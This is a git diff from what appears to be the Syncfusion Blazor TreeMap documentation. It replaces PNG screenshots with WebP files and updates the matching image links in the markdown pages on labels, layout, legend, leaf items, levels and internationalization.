diff --git a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-template.png b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-template.png
deleted file mode 100644
index 010649c05a..0000000000
Binary files a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-template.png and /dev/null differ
diff --git a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-template.webp b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-template.webp
new file mode 100644
index 0000000000..1cf01eb871
Binary files /dev/null and b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-template.webp differ
diff --git a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip.png b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip.png
deleted file mode 100644
index 8f0550c74b..0000000000
Binary files a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip.png and /dev/null differ
diff --git a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip.webp b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip.webp
new file mode 100644
index 0000000000..866cb68bad
Binary files /dev/null and b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip.webp differ
diff --git a/blazor/treemap/images/blazor-TreeMap-with-accordion.png b/blazor/treemap/images/blazor-TreeMap-with-accordion.png
deleted file mode 100644
index 83efd383b8..0000000000
Binary files a/blazor/treemap/images/blazor-TreeMap-with-accordion.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-TreeMap-with-accordion.webp b/blazor/treemap/images/blazor-TreeMap-with-accordion.webp
new file mode 100644
index 0000000000..e225b2f79d
Binary files /dev/null and b/blazor/treemap/images/blazor-TreeMap-with-accordion.webp differ
diff --git a/blazor/treemap/images/blazor-TreeMap-with-dashboard-layout.png b/blazor/treemap/images/blazor-TreeMap-with-dashboard-layout.png
deleted file mode 100644
index 3d6daef18e..0000000000
Binary files a/blazor/treemap/images/blazor-TreeMap-with-dashboard-layout.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-TreeMap-with-dashboard-layout.webp b/blazor/treemap/images/blazor-TreeMap-with-dashboard-layout.webp
new file mode 100644
index 0000000000..b4a8112089
Binary files /dev/null and b/blazor/treemap/images/blazor-TreeMap-with-dashboard-layout.webp differ
diff --git a/blazor/treemap/images/blazor-TreeMap-with-dialog.png b/blazor/treemap/images/blazor-TreeMap-with-dialog.png
deleted file mode 100644
index f89a9668a6..0000000000
Binary files a/blazor/treemap/images/blazor-TreeMap-with-dialog.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-TreeMap-with-dialog.webp b/blazor/treemap/images/blazor-TreeMap-with-dialog.webp
new file mode 100644
index 0000000000..f8fd402931
Binary files /dev/null and b/blazor/treemap/images/blazor-TreeMap-with-dialog.webp differ
diff --git a/blazor/treemap/images/blazor-TreeMap-with-tab.png b/blazor/treemap/images/blazor-TreeMap-with-tab.png
deleted file mode 100644
index 5a3d3a9012..0000000000
Binary files a/blazor/treemap/images/blazor-TreeMap-with-tab.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-TreeMap-with-tab.webp b/blazor/treemap/images/blazor-TreeMap-with-tab.webp
new file mode 100644
index 0000000000..237390b4c8
Binary files /dev/null and b/blazor/treemap/images/blazor-TreeMap-with-tab.webp differ
diff --git a/blazor/treemap/images/blazor-create-web-app.png b/blazor/treemap/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/treemap/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-create-web-app.webp b/blazor/treemap/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/treemap/images/blazor-create-web-app.webp differ
diff --git a/blazor/treemap/images/blazor-treemap-color-mapping.png b/blazor/treemap/images/blazor-treemap-color-mapping.png
deleted file mode 100644
index e106bf9a14..0000000000
Binary files a/blazor/treemap/images/blazor-treemap-color-mapping.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-treemap-color-mapping.webp b/blazor/treemap/images/blazor-treemap-color-mapping.webp
new file mode 100644
index 0000000000..fd9effb7d7
Binary files /dev/null and b/blazor/treemap/images/blazor-treemap-color-mapping.webp differ
diff --git a/blazor/treemap/images/blazor-treemap-legend.png b/blazor/treemap/images/blazor-treemap-legend.png
deleted file mode 100644
index 90a62e6972..0000000000
Binary files a/blazor/treemap/images/blazor-treemap-legend.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-treemap-legend.webp b/blazor/treemap/images/blazor-treemap-legend.webp
new file mode 100644
index 0000000000..9535eb405a
Binary files /dev/null and b/blazor/treemap/images/blazor-treemap-legend.webp differ
diff --git a/blazor/treemap/images/blazor-treemap-tooltip.png b/blazor/treemap/images/blazor-treemap-tooltip.png
deleted file mode 100644
index 7f881a97d2..0000000000
Binary files a/blazor/treemap/images/blazor-treemap-tooltip.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-treemap-tooltip.webp b/blazor/treemap/images/blazor-treemap-tooltip.webp
new file mode 100644
index 0000000000..b21d1d7240
Binary files /dev/null and b/blazor/treemap/images/blazor-treemap-tooltip.webp differ
diff --git a/blazor/treemap/images/blazor-treemap-with-label.png b/blazor/treemap/images/blazor-treemap-with-label.png
deleted file mode 100644
index 2f3c9aa3de..0000000000
Binary files a/blazor/treemap/images/blazor-treemap-with-label.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-treemap-with-label.webp b/blazor/treemap/images/blazor-treemap-with-label.webp
new file mode 100644
index 0000000000..574b3ac667
Binary files /dev/null and b/blazor/treemap/images/blazor-treemap-with-label.webp differ
diff --git a/blazor/treemap/images/blazor-treemap-with-title.png b/blazor/treemap/images/blazor-treemap-with-title.png
deleted file mode 100644
index 4bd797d8cc..0000000000
Binary files a/blazor/treemap/images/blazor-treemap-with-title.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-treemap-with-title.webp b/blazor/treemap/images/blazor-treemap-with-title.webp
new file mode 100644
index 0000000000..89d22e7f88
Binary files /dev/null and b/blazor/treemap/images/blazor-treemap-with-title.webp differ
diff --git a/blazor/treemap/images/blazor-treemap.png b/blazor/treemap/images/blazor-treemap.png
deleted file mode 100644
index 9344da7a6a..0000000000
Binary files a/blazor/treemap/images/blazor-treemap.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-treemap.webp b/blazor/treemap/images/blazor-treemap.webp
new file mode 100644
index 0000000000..2a7090b3c1
Binary files /dev/null and b/blazor/treemap/images/blazor-treemap.webp differ
diff --git a/blazor/treemap/images/blazor-wasm-app-template.png b/blazor/treemap/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/treemap/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/treemap/images/blazor-wasm-app-template.webp b/blazor/treemap/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/treemap/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/treemap/images/browser-output.png b/blazor/treemap/images/browser-output.png
deleted file mode 100644
index 07fd52cafe..0000000000
Binary files a/blazor/treemap/images/browser-output.png and /dev/null differ
diff --git a/blazor/treemap/images/browser-output.webp b/blazor/treemap/images/browser-output.webp
new file mode 100644
index 0000000000..6b8ceeddaa
Binary files /dev/null and b/blazor/treemap/images/browser-output.webp differ
diff --git a/blazor/treemap/images/datalabel/Template.png b/blazor/treemap/images/datalabel/Template.png
deleted file mode 100644
index 331355e9d3..0000000000
Binary files a/blazor/treemap/images/datalabel/Template.png and /dev/null differ
diff --git a/blazor/treemap/images/datalabel/Template.webp b/blazor/treemap/images/datalabel/Template.webp
new file mode 100644
index 0000000000..897d655486
Binary files /dev/null and b/blazor/treemap/images/datalabel/Template.webp differ
diff --git a/blazor/treemap/images/datalabel/blazor-treemap-data-label.png b/blazor/treemap/images/datalabel/blazor-treemap-data-label.png
deleted file mode 100644
index ccf243c2bd..0000000000
Binary files a/blazor/treemap/images/datalabel/blazor-treemap-data-label.png and /dev/null differ
diff --git a/blazor/treemap/images/datalabel/blazor-treemap-data-label.webp b/blazor/treemap/images/datalabel/blazor-treemap-data-label.webp
new file mode 100644
index 0000000000..f40680cf49
Binary files /dev/null and b/blazor/treemap/images/datalabel/blazor-treemap-data-label.webp differ
diff --git a/blazor/treemap/images/datalabel/blazor-treemap-label-in-custom-position.png b/blazor/treemap/images/datalabel/blazor-treemap-label-in-custom-position.png
deleted file mode 100644
index 98bd6bb689..0000000000
Binary files a/blazor/treemap/images/datalabel/blazor-treemap-label-in-custom-position.png and /dev/null differ
diff --git a/blazor/treemap/images/datalabel/blazor-treemap-label-in-custom-position.webp b/blazor/treemap/images/datalabel/blazor-treemap-label-in-custom-position.webp
new file mode 100644
index 0000000000..95825a4b6e
Binary files /dev/null and b/blazor/treemap/images/datalabel/blazor-treemap-label-in-custom-position.webp differ
diff --git a/blazor/treemap/images/datalabel/blazor-treemap-label-intersect-action.png b/blazor/treemap/images/datalabel/blazor-treemap-label-intersect-action.png
deleted file mode 100644
index baf25847f3..0000000000
Binary files a/blazor/treemap/images/datalabel/blazor-treemap-label-intersect-action.png and /dev/null differ
diff --git a/blazor/treemap/images/datalabel/blazor-treemap-label-intersect-action.webp b/blazor/treemap/images/datalabel/blazor-treemap-label-intersect-action.webp
new file mode 100644
index 0000000000..7eb7de4775
Binary files /dev/null and b/blazor/treemap/images/datalabel/blazor-treemap-label-intersect-action.webp differ
diff --git a/blazor/treemap/images/drilldown/blazor-treemap-breadcrumb.png b/blazor/treemap/images/drilldown/blazor-treemap-breadcrumb.png
deleted file mode 100644
index 14b25cb231..0000000000
Binary files a/blazor/treemap/images/drilldown/blazor-treemap-breadcrumb.png and /dev/null differ
diff --git a/blazor/treemap/images/drilldown/blazor-treemap-breadcrumb.webp b/blazor/treemap/images/drilldown/blazor-treemap-breadcrumb.webp
new file mode 100644
index 0000000000..a5e32b5245
Binary files /dev/null and b/blazor/treemap/images/drilldown/blazor-treemap-breadcrumb.webp differ
diff --git a/blazor/treemap/images/drilldown/blazor-treemap-drill-down.png b/blazor/treemap/images/drilldown/blazor-treemap-drill-down.png
deleted file mode 100644
index 5431031876..0000000000
Binary files a/blazor/treemap/images/drilldown/blazor-treemap-drill-down.png and /dev/null differ
diff --git a/blazor/treemap/images/drilldown/blazor-treemap-drill-down.webp b/blazor/treemap/images/drilldown/blazor-treemap-drill-down.webp
new file mode 100644
index 0000000000..6095533449
Binary files /dev/null and b/blazor/treemap/images/drilldown/blazor-treemap-drill-down.webp differ
diff --git a/blazor/treemap/images/drilldown/blazor-treemap-initial-drill-down.png b/blazor/treemap/images/drilldown/blazor-treemap-initial-drill-down.png
deleted file mode 100644
index ef5f70aa77..0000000000
Binary files a/blazor/treemap/images/drilldown/blazor-treemap-initial-drill-down.png and /dev/null differ
diff --git a/blazor/treemap/images/drilldown/blazor-treemap-initial-drill-down.webp b/blazor/treemap/images/drilldown/blazor-treemap-initial-drill-down.webp
new file mode 100644
index 0000000000..c1938ff8ae
Binary files /dev/null and b/blazor/treemap/images/drilldown/blazor-treemap-initial-drill-down.webp differ
diff --git a/blazor/treemap/images/drilldown/blazor-treemap-on-demand-data-loading.png b/blazor/treemap/images/drilldown/blazor-treemap-on-demand-data-loading.png
deleted file mode 100644
index c5bc4cb8b2..0000000000
Binary files a/blazor/treemap/images/drilldown/blazor-treemap-on-demand-data-loading.png and /dev/null differ
diff --git a/blazor/treemap/images/drilldown/blazor-treemap-on-demand-data-loading.webp b/blazor/treemap/images/drilldown/blazor-treemap-on-demand-data-loading.webp
new file mode 100644
index 0000000000..3d743214b1
Binary files /dev/null and b/blazor/treemap/images/drilldown/blazor-treemap-on-demand-data-loading.webp differ
diff --git a/blazor/treemap/images/frame-work.png b/blazor/treemap/images/frame-work.png
deleted file mode 100644
index 66350430d6..0000000000
Binary files a/blazor/treemap/images/frame-work.png and /dev/null differ
diff --git a/blazor/treemap/images/frame-work.webp b/blazor/treemap/images/frame-work.webp
new file mode 100644
index 0000000000..4ce41a3b15
Binary files /dev/null and b/blazor/treemap/images/frame-work.webp differ
diff --git a/blazor/treemap/images/import-cdn.png b/blazor/treemap/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/treemap/images/import-cdn.png and /dev/null differ
diff --git a/blazor/treemap/images/import-cdn.webp b/blazor/treemap/images/import-cdn.webp
new file mode 100644
index 0000000000..7db6a111c2
Binary files /dev/null and b/blazor/treemap/images/import-cdn.webp differ
diff --git a/blazor/treemap/images/new-project.png b/blazor/treemap/images/new-project.png
deleted file mode 100644
index ecd2ca0567..0000000000
Binary files a/blazor/treemap/images/new-project.png and /dev/null differ
diff --git a/blazor/treemap/images/new-project.webp b/blazor/treemap/images/new-project.webp
new file mode 100644
index 0000000000..c8e76c8020
Binary files /dev/null and b/blazor/treemap/images/new-project.webp differ
diff --git a/blazor/treemap/images/nuget-explorer.png b/blazor/treemap/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/treemap/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/treemap/images/nuget-explorer.webp b/blazor/treemap/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/treemap/images/nuget-explorer.webp differ
diff --git a/blazor/treemap/images/select-nuget.png b/blazor/treemap/images/select-nuget.png
deleted file mode 100644
index 69ff97a9b3..0000000000
Binary files a/blazor/treemap/images/select-nuget.png and /dev/null differ
diff --git a/blazor/treemap/images/select-nuget.webp b/blazor/treemap/images/select-nuget.webp
new file mode 100644
index 0000000000..d9e267635f
Binary files /dev/null and b/blazor/treemap/images/select-nuget.webp differ
diff --git a/blazor/treemap/images/style/blazor-treemap-border-color.png b/blazor/treemap/images/style/blazor-treemap-border-color.png
deleted file mode 100644
index 1557f72112..0000000000
Binary files a/blazor/treemap/images/style/blazor-treemap-border-color.png and /dev/null differ
diff --git a/blazor/treemap/images/style/blazor-treemap-border-color.webp b/blazor/treemap/images/style/blazor-treemap-border-color.webp
new file mode 100644
index 0000000000..d78caaad1b
Binary files /dev/null and b/blazor/treemap/images/style/blazor-treemap-border-color.webp differ
diff --git a/blazor/treemap/images/style/blazor-treemap-item-hover-customization.png b/blazor/treemap/images/style/blazor-treemap-item-hover-customization.png
deleted file mode 100644
index 4214d3b18f..0000000000
Binary files a/blazor/treemap/images/style/blazor-treemap-item-hover-customization.png and /dev/null differ
diff --git a/blazor/treemap/images/style/blazor-treemap-item-hover-customization.webp b/blazor/treemap/images/style/blazor-treemap-item-hover-customization.webp
new file mode 100644
index 0000000000..f0dfabf840
Binary files /dev/null and b/blazor/treemap/images/style/blazor-treemap-item-hover-customization.webp differ
diff --git a/blazor/treemap/images/style/blazor-treemap-item-rect-customization.png b/blazor/treemap/images/style/blazor-treemap-item-rect-customization.png
deleted file mode 100644
index 69cb840c60..0000000000
Binary files a/blazor/treemap/images/style/blazor-treemap-item-rect-customization.png and /dev/null differ
diff --git a/blazor/treemap/images/style/blazor-treemap-item-rect-customization.webp b/blazor/treemap/images/style/blazor-treemap-item-rect-customization.webp
new file mode 100644
index 0000000000..34b4085717
Binary files /dev/null and b/blazor/treemap/images/style/blazor-treemap-item-rect-customization.webp differ
diff --git a/blazor/treemap/images/style/blazor-treemap-item-text-advance-customization.png b/blazor/treemap/images/style/blazor-treemap-item-text-advance-customization.png
deleted file mode 100644
index a31268ad60..0000000000
Binary files a/blazor/treemap/images/style/blazor-treemap-item-text-advance-customization.png and /dev/null differ
diff --git a/blazor/treemap/images/style/blazor-treemap-item-text-advance-customization.webp b/blazor/treemap/images/style/blazor-treemap-item-text-advance-customization.webp
new file mode 100644
index 0000000000..d1e620e351
Binary files /dev/null and b/blazor/treemap/images/style/blazor-treemap-item-text-advance-customization.webp differ
diff --git a/blazor/treemap/images/style/blazor-treemap-item-text-customization.png b/blazor/treemap/images/style/blazor-treemap-item-text-customization.png
deleted file mode 100644
index b6deef12d2..0000000000
Binary files a/blazor/treemap/images/style/blazor-treemap-item-text-customization.png and /dev/null differ
diff --git a/blazor/treemap/images/style/blazor-treemap-item-text-customization.webp b/blazor/treemap/images/style/blazor-treemap-item-text-customization.webp
new file mode 100644
index 0000000000..ec17d51249
Binary files /dev/null and b/blazor/treemap/images/style/blazor-treemap-item-text-customization.webp differ
diff --git a/blazor/treemap/images/tremap-basic.png b/blazor/treemap/images/tremap-basic.png
deleted file mode 100644
index d3b5adda4b..0000000000
Binary files a/blazor/treemap/images/tremap-basic.png and /dev/null differ
diff --git a/blazor/treemap/images/tremap-basic.webp b/blazor/treemap/images/tremap-basic.webp
new file mode 100644
index 0000000000..ed8a4e46fe
Binary files /dev/null and b/blazor/treemap/images/tremap-basic.webp differ
diff --git a/blazor/treemap/internationalization.md b/blazor/treemap/internationalization.md
index 220e4f8d11..5b4c5a903b 100644
--- a/blazor/treemap/internationalization.md
+++ b/blazor/treemap/internationalization.md
@@ -51,4 +51,4 @@ In the following code example, tooltip and Data Label is globalized to currency
 
 N> Refer to [Blazor Localization](https://blazor.syncfusion.com/documentation/common/localization) topic to localize Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components.
 
-![Localization in Blazor TreeMap](images/Internationalization/blazor-treemap-localization.png)
\ No newline at end of file
+![Localization in Blazor TreeMap](images/Internationalization/blazor-treemap-localization.webp)
\ No newline at end of file
diff --git a/blazor/treemap/labels.md b/blazor/treemap/labels.md
index f979282a6b..341c4bca84 100644
--- a/blazor/treemap/labels.md
+++ b/blazor/treemap/labels.md
@@ -41,7 +41,7 @@ Customize the labels for each item using the [LabelFormat](https://help.syncfusi
 }
 ```
 
-![Blazor TreeMap with Data Label](images/datalabel/blazor-treemap-data-label.png)
+![Blazor TreeMap with Data Label](images/datalabel/blazor-treemap-data-label.webp)
 
 ## Label position
 
@@ -67,7 +67,7 @@ Customize the label position using the [LabelPosition](https://help.syncfusion.c
 
 N> Refer to the [code block](#formatting-labels) to know about the property value of **Cars**.
 
-![Blazor TreeMap Label in Custom Position](images/datalabel/blazor-treemap-label-in-custom-position.png)
+![Blazor TreeMap Label in Custom Position](images/datalabel/blazor-treemap-label-in-custom-position.webp)
 
 ## Intersect action
 
@@ -101,4 +101,4 @@ When the label size in each item exceeds the actual size, use the [InterSectActi
 }
 ```
 
-![Blazor TreeMap Label with Intersect Options](images/datalabel/blazor-treemap-label-intersect-action.png)
\ No newline at end of file
+![Blazor TreeMap Label with Intersect Options](images/datalabel/blazor-treemap-label-intersect-action.webp)
\ No newline at end of file
diff --git a/blazor/treemap/layout.md b/blazor/treemap/layout.md
index 8339759c8a..17d2f16784 100644
--- a/blazor/treemap/layout.md
+++ b/blazor/treemap/layout.md
@@ -53,7 +53,7 @@ The [Squarified](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap
 }
 ```
 
-![Blazor TreeMap with Squarified Layout](images/Layout/blazor-treemap-squarified-layout.png)
+![Blazor TreeMap with Squarified Layout](images/Layout/blazor-treemap-squarified-layout.webp)
 
 ### Slice and dice vertical
 
@@ -68,7 +68,7 @@ The [SliceAndDiceVertical](https://help.syncfusion.com/cr/aspnetcore-blazor/Sync
 
 N> Refer to the [code block](#squarified) to know about the property value of the **GrowthReports**.
 
-![Blazor TreeMap with Slice and DiceVertical Layout](images/Layout/blazor-treemap-slice-and-dicevertical-layout.png)
+![Blazor TreeMap with Slice and DiceVertical Layout](images/Layout/blazor-treemap-slice-and-dicevertical-layout.webp)
 
 ### Slice and dice horizontal
 
@@ -83,7 +83,7 @@ The [SliceAndDiceHorizontal](https://help.syncfusion.com/cr/aspnetcore-blazor/Sy
 
 N> Refer to the [code block](#squarified) to know about the property value of the **GrowthReports**.
 
-![Blazor TreeMap with Slice and DiceHorizontal Layout](images/Layout/blazor-treemap-slice-and-dicehorizontal.png)
+![Blazor TreeMap with Slice and DiceHorizontal Layout](images/Layout/blazor-treemap-slice-and-dicehorizontal.webp)
 
 ### Slice and dice auto
 
@@ -98,7 +98,7 @@ The [SliceAndDiceAuto](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusi
 
 N> Refer to the [code block](#squarified) to know about the property value of the **GrowthReports**.
 
-![Blazor TreeMap with Slice and DiceAuto Layout](images/Layout/blazor-treemap-slice-and-diceauto.png)
+![Blazor TreeMap with Slice and DiceAuto Layout](images/Layout/blazor-treemap-slice-and-diceauto.webp)
 
 ## Rendering direction
 
@@ -141,7 +141,7 @@ The following example shows, how to render the TreeMap in the RTL direction with
 }
 ```
 
-![Blazor TreeMap in TopLeftBottomRight Direction](images/Internationalization/blazor-treemap-top-left-bottom-right-direction.png)
+![Blazor TreeMap in TopLeftBottomRight Direction](images/Internationalization/blazor-treemap-top-left-bottom-right-direction.webp)
 
 The following example shows, how to render the TreeMap in the RTL direction with [TopRightBottomLeft](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusion.Blazor.TreeMap.RenderingMode.html).
 
@@ -158,7 +158,7 @@ The following example shows, how to render the TreeMap in the RTL direction with
 
 N> Refer to the [code block](#rendering-direction) to know about the property value of **Fruits**.
 
-![Blazor TreeMap in TopRightBottomLeft Direction](images/Internationalization/blazor-treemap-top-right-bottom-left-direction.png)
+![Blazor TreeMap in TopRightBottomLeft Direction](images/Internationalization/blazor-treemap-top-right-bottom-left-direction.webp)
 
 The following example shows, how to render the TreeMap in the RTL direction with [BottomRightTopLeft](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusion.Blazor.TreeMap.RenderingMode.html).
 
@@ -175,7 +175,7 @@ The following example shows, how to render the TreeMap in the RTL direction with
 
 N> Refer to the [code block](#rendering-direction) to know about the property value of **Fruits**.
 
-![Blazor TreeMap with BottomRightTopLeft Direction](images/Internationalization/blazor-treemap-bottom-right-top-left-direction.png)
+![Blazor TreeMap with BottomRightTopLeft Direction](images/Internationalization/blazor-treemap-bottom-right-top-left-direction.webp)
 
 The following example shows, how to render the TreeMap in the RTL direction with [BottomLeftTopRight](https://help.syncfusion.com/cr/aspnetcore-blazor/Syncfusion.Blazor.TreeMap.RenderingMode.html).
 
@@ -192,4 +192,4 @@ The following example shows, how to render the TreeMap in the RTL direction with
 
 N> Refer to the [code block](#rendering-direction) to know about the property value of **Fruits**.
 
-![Blazor TreeMap with BottomLeftTopRight Direction](images/Internationalization/blazor-treemap-bottom-left-top-right-direction.png)
\ No newline at end of file
+![Blazor TreeMap with BottomLeftTopRight Direction](images/Internationalization/blazor-treemap-bottom-left-top-right-direction.webp)
\ No newline at end of file
diff --git a/blazor/treemap/leaf-item.md b/blazor/treemap/leaf-item.md
index 05654b2b24..85a83b3906 100644
--- a/blazor/treemap/leaf-item.md
+++ b/blazor/treemap/leaf-item.md
@@ -58,7 +58,7 @@ In the following example, the name of the property **CountryName** from data sou
 }
 ```
 
-![Blazor TreeMap with Leaf Item](images/LeafItem/blazor-treemap-leaf-item.png)
+![Blazor TreeMap with Leaf Item](images/LeafItem/blazor-treemap-leaf-item.webp)
 
 ## Label position and format
 
@@ -77,7 +77,7 @@ Positioning the leaf item label using the [LabelPosition](https://help.syncfusio
 
 N> Refer to the [code block](#customization) to know about the property value of the **GrowthReports**.
 
-![Changing Label Position and Format in Blazor TreeMap](images/LeafItem/blazor-treemap-change-label-position-format.png)
+![Changing Label Position and Format in Blazor TreeMap](images/LeafItem/blazor-treemap-change-label-position-format.webp)
 
 ## Gap between the leaf items
 
@@ -94,4 +94,4 @@ The [Gap](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMa
 
 N> Refer to the [code block](#customization) to know about the property value of the **GrowthReports**.
 
-![Gap in Blazor TreeMap Items](images/LeafItem/blazor-treemap-gap-between-item.png)
\ No newline at end of file
+![Gap in Blazor TreeMap Items](images/LeafItem/blazor-treemap-gap-between-item.webp)
\ No newline at end of file
diff --git a/blazor/treemap/legend.md b/blazor/treemap/legend.md
index de374e171e..4f9b04b4d9 100644
--- a/blazor/treemap/legend.md
+++ b/blazor/treemap/legend.md
@@ -60,7 +60,7 @@ In the default mode, the legends have symbols with legend labels that are used t
 }
 ```
 
-![Blazor TreeMap with Legend](images/Legend/blazor-treemap-legend.png)
+![Blazor TreeMap with Legend](images/Legend/blazor-treemap-legend.webp)
 
 ### Interactive legend
 
@@ -84,7 +84,7 @@ The legends can be made interactive with an arrow mark that indicates exact rang
 
 N> Refer to the [code block](#default-legend) to know about the property value of **Cars**.
 
-![Blazor TreeMap with Interactive Legend](images/Legend/blazor-treemap-interactive-legend.png)
+![Blazor TreeMap with Interactive Legend](images/Legend/blazor-treemap-interactive-legend.webp)
 
 ## Position and Alignment
 
@@ -130,7 +130,7 @@ The following options are available to customize the legend position:
 }
 ```
 
-![Blazor TreeMap with Legend on Top](images/Legend/blazor-treemap-legend-position.png)
+![Blazor TreeMap with Legend on Top](images/Legend/blazor-treemap-legend-position.webp)
 
 The legend alignment is used to align the legend items in a specific location. The following options are available to customize the legend alignment:
 
@@ -155,7 +155,7 @@ The legend alignment is used to align the legend items in a specific location. T
 
 N> Refer to the [code block](#position-and-alignment) to know about the property value of **Fruits**.
 
-![Changing Legend Alignment in Blazor TreeMap](images/Legend/blazor-treemap-legend-alignment.png)
+![Changing Legend Alignment in Blazor TreeMap](images/Legend/blazor-treemap-legend-alignment.webp)
 
 ## Legend size
 
@@ -195,7 +195,7 @@ Customize the legend size by modifying the [Height](https://help.syncfusion.com/
 }
 ```
 
-![Blazor TreeMap with Custom Legend Size](images/Legend/blazor-treemap-custom-legend-size.png)
+![Blazor TreeMap with Custom Legend Size](images/Legend/blazor-treemap-custom-legend-size.webp)
 
 ### Legend with paging support
 
@@ -236,7 +236,7 @@ TreeMap supports legend paging, if the legend items cannot be placed within the
 }
 ```
 
-![Blazor TreeMap Legend with Paging](images/Legend/blazor-treemap-legend-paging.png)
+![Blazor TreeMap Legend with Paging](images/Legend/blazor-treemap-legend-paging.webp)
 
 ## Excluded legend items from the color mapping
 
@@ -275,7 +275,7 @@ Based on the mapping ranges in the data source, get the excluded ranges from the
 }
 ```
 
-![Blazor TreeMap Legend for Excluded Items](images/Legend/blazor-treemap-exclude-legend.png)
+![Blazor TreeMap Legend for Excluded Items](images/Legend/blazor-treemap-exclude-legend.webp)
 
 ## Hide desired legend items
 
@@ -314,7 +314,7 @@ To enable or disable the desired legend item for each color mapping, set the [Sh
 }
 ```
 
-![Hiding Specific Legend Item in Blazor TreeMap](images/Legend/blazor-treemap-hide-legend-item.png)
+![Hiding Specific Legend Item in Blazor TreeMap](images/Legend/blazor-treemap-hide-legend-item.webp)
 
 ## Hide legend items based on the data source value
 
@@ -350,7 +350,7 @@ To enable or disable the legend visibility for each item through the data source
 }
 ```
 
-![Hiding Blazor TreeMap Legend Based on Datasource](images/Legend/blazor-treemap-hide-legend-item.png)
+![Hiding Blazor TreeMap Legend Based on Datasource](images/Legend/blazor-treemap-hide-legend-item.webp)
 
 ## Bind legend item text from the data source
 
@@ -385,7 +385,7 @@ To show the legend item text from the data source, bind the property name from t
 }
 ```
 
-![Blazor TreeMap Legend Text with Data Binding](images/Legend/blazor-treemap-legend-text-with-binding.png)
+![Blazor TreeMap Legend Text with Data Binding](images/Legend/blazor-treemap-legend-text-with-binding.webp)
 
 ## Hide duplicate legend items
 
@@ -421,7 +421,7 @@ To enable or disable the duplicate legend items, set the [RemoveDuplicateLegend]
 }
 ```
 
-![Hiding Duplicate Legend Item in Blazor TreeMap](images/Legend/blazor-treemap-hide-duplicate-legend.png)
+![Hiding Duplicate Legend Item in Blazor TreeMap](images/Legend/blazor-treemap-hide-duplicate-legend.webp)
 
 ## Positioning based on size
 
@@ -455,7 +455,7 @@ Use a responsive legend that switches positions between the right and the bottom
 }
 ```
 
-![Displaying Blazor TreeMap Legend Position based on Size](images/Legend/blazor-treemap-legend-position-based-on-size.png)
+![Displaying Blazor TreeMap Legend Position based on Size](images/Legend/blazor-treemap-legend-position-based-on-size.webp)
 
 ## Legend with RTL support
 
@@ -490,4 +490,4 @@ Set the [EnableRtl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Tree
 }
 ```
 
-![Right to Left in Blazor TreeMap Legend](images/Internationalization/blazor-treemap-legend-right-to-left.png)
+![Right to Left in Blazor TreeMap Legend](images/Internationalization/blazor-treemap-legend-right-to-left.webp)
diff --git a/blazor/treemap/levels.md b/blazor/treemap/levels.md
index 3ff1d0819a..5de752f64d 100644
--- a/blazor/treemap/levels.md
+++ b/blazor/treemap/levels.md
@@ -60,7 +60,7 @@ In the following example, three levels are added and each level is configured us
 }
 ```
 
-![Multiple Blazor TreeMap Levels with Group](images/Levels/blazor-treemap-levels-with-group-path.png)
+![Multiple Blazor TreeMap Levels with Group](images/Levels/blazor-treemap-levels-with-group-path.webp)
 
 ## Gap between groups
 
@@ -89,7 +89,7 @@ The [GroupGap](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.T
 
 N> Refer to the [code block](#group-path) to know about the property value of the **Employees**.
 
-![Blazor TreeMap Levels with Group Gap](images/Levels/blazor-treemap-levels-with-group-gap.png)
+![Blazor TreeMap Levels with Group Gap](images/Levels/blazor-treemap-levels-with-group-gap.webp)
 
 ## Header height and style
 
@@ -121,7 +121,7 @@ Customize the font color, family, weight, opacity and size using the [TreeMapHea
 
 N> Refer to the [code block](#group-path) to know about the property value of **Employees**.
 
-![Blazor TreeMap with Custom Header Height and Style](images/Levels/blazor-treemap-custom-header-height.png)
+![Blazor TreeMap with Custom Header Height and Style](images/Levels/blazor-treemap-custom-header-height.webp)
 
 ## Customization
 
@@ -156,4 +156,4 @@ The following properties are available to customize the header content in the [T
 
 N> Refer to the [code block](#group-path) to know about the property value of `Employees`.
 
